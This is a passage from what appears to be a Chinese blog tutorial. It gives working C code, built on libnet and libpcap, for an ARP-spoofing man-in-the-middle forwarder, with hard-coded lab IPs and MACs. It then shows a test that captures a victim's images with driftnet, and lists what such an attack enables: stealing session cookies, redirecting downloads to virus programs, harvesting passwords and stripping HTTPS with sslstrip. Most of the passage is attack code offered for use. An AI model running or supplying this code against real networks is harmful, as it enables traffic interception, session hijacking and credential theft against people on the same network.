    149          libnet_ptag_t p_tag; 
    150          unsigned int i=0;
    151          
    152      //init the libnet context structure
    153          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
    154          if(net_t == NULL)
    155          {
    156                  printf("libnet_init error
    ");
    157                  return 1;
    158          }
    159       
    160       //build the ethernet packet
    161          p_tag = libnet_build_ethernet(//create ethernet header
    162                          dst_mac,//dest mac addr
    163                          src_mac,//source mac addr
    164                          protoType,//protocol type
    165                          padPtr,//payload
    166                          padLength,//payload length
    167                          net_t,//libnet context
    168                          0//0 to build a new one
    169          );
    170          if(-1 == p_tag)
    171          {
    172                  printf("libnet_build_ethernet error!
    ");
    173                  goto FAIL;
    174          }
    175          
    176          for(i=0;i<sendTimes;i++)
    177            if(-1 == libnet_write(net_t))
    178            {
    179                  printf("B libnet_write error!
    ");
    180                  goto FAIL;
    181            }
    182          
    183          libnet_destroy(net_t);
    184          return 0;
    185      FAIL:        
    186          libnet_destroy(net_t);
    187          return 1;
    188 }
    189 
    190 
    191 
    192 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
    193 {
    194   int i;
    195   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
    196   unsigned int    sendTimes=1;
    197   const uint16_t  etherProto=0x0800;
    198   const char    * dev=mitmParaPtr->devMitm;
    199   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
    200   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
    201   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
    202   const uint8_t * A_IP=mitmParaPtr->ip_A;
    203   const uint8_t * B_IP=mitmParaPtr->ip_B;
    204   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
    205 
    206   if (
    207        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
    208        //&& 
    209        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
    210      )
    211   { // packet: A send to B
    212      printf(" :) ether src A && ip dst B
    ");
    213      BuildAndSendEthernetPacket(dev,sendTimes,
    214                 ether_Bhost,ether_Mhost,
    215                 //dst_mac,  src_mac,
    216                                 etherProto,packet+14,pkthdr->len-14
    217                                );
    218   } 
    219   else if (
    220        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
    221        //&& 
    222        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
    223      )
    224   { // packet: B send to A
    225      printf("ether src B && ip dst A
    ");
    226      BuildAndSendEthernetPacket(dev,sendTimes,
    227                 ether_Ahost,ether_Mhost,
    228                 //dst_mac,  src_mac,
    229                 etherProto,packet+14,pkthdr->len-14
    230                                );
    231   }  
    232 }
    233 
    234 
    235 int mitm_forwarder(
    236        const uint8_t * ip_A, const uint8_t * mac_A,
    237       const uint8_t * ip_B, const uint8_t * mac_B,
    238       const uint8_t * mac_M,const char * BPF_filterStr,
    239           const char * devMitm
    240         )
    241 //BPF_filterStr: ether dst mac_M  and ip  
    242 {
    243   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    244   struct bpf_program filter;
    245 
    246   struct MITM_para mitmPara;
    247 
    248   mitmPara.ip_A=ip_A;
    249   mitmPara.mac_A=mac_A;
    250 
    251   mitmPara.ip_B=ip_B;
    252   mitmPara.mac_B=mac_B;
    253 
    254   mitmPara.mac_M=mac_M;
    255 
    256   mitmPara.BPF_filterStr=BPF_filterStr;
    257   mitmPara.devMitm=devMitm;  
    258 
    259   /* get a device */
    260   devStr = pcap_lookupdev(errBuf);
    261   
    262   if(devStr)
    263   {
    264     printf("success: device: %s
    ", devStr);
    265   }
    266   else
    267   {
    268     printf("error: %s
    ", errBuf);
    269     exit(1);
    270   }
    271   
    272   /* open a device, wait until a packet arrives */
    273   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
    274   
    275   if(!device)
    276   {
    277     printf("error: pcap_open_live(): %s
    ", errBuf);
    278     exit(1);
    279   }
    280   // ether dst 00:11:22:33:44:55  and ip
    281   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
    282   pcap_setfilter(device ,&filter );
    283   /* wait loop forever */
    284   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
    285   
    286   pcap_close(device);
    287 
    288   return 0;  
    289 }
    290 
    291 
    292 /*
    293         gw            kali
    294    192.168.1.1            192.168.1.108
    295 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
    296         A                        B
    297 
    298              00:11:22:33:44:55
    299                     M
    300 
    301 */
    302 
    303 void main()
    304 
    305 {
    306     uint8_t ip_A[4]={192,168,1,1};
    307     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
    308     
    309     uint8_t ip_B[4]={192,168,1,31};
    310     uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};
    311     
    312     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
    313     
    314     //BPF_filterStr: ether dst mac_M  and ip
    315     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    316     char * devMitm="eth0";
    317 
    318   //local
    319   pid_t sonPid;
    320   
    321   sonPid=fork();
    322   if( sonPid==-1 )
    323   {//failure
    324     printf("failure:mitm fork error :( 
    ");
    325   }
    326   else if(sonPid==0)
    327   {//child
    328     printf("child : pid:%d:)
    ",getpid());
    329     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
    330   }
    331   else
    332   {//parent
    333     printf("parent: pid:%d sonPid:%d :)
    ",getpid(),sonPid);
    334     sleep(2);
    335     mitm_forwarder(
    336        ip_A,mac_A,
    337       ip_B,mac_B,
    338       mac_M,BPF_filterStr,
    339           devMitm
    340         );
    341   }
    342 }
    View Code

      测试:

        kali        GW

            Ubuntu

      如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:

    ~# driftnet -i eth0

      而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:

       

      中间人攻击的可怕之处:

      1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;  

      2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;

      3.截获已知认证协议的账户、密码;

      4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;

      5.屏蔽或者重定向指定的网络地址;

       ……

  • 相关阅读:
    go语言学习---指针
    vscode打开多个窗口配置
    python网页版编辑器jupyter使用教程
    go语言学习---判断链表是否有环
    go语言学习---二分查找
    go语言学习---反转链表
    cvxpy学习---初识&&安装使用
    redis学习---linux源码搭建安装redis
    javaScript中的空值和假值
    nrm是什么?以及nrm的安装与命令
  • 原文地址:https://www.cnblogs.com/SwordTao/p/3714832.html
Copyright © 2011-2022 走看看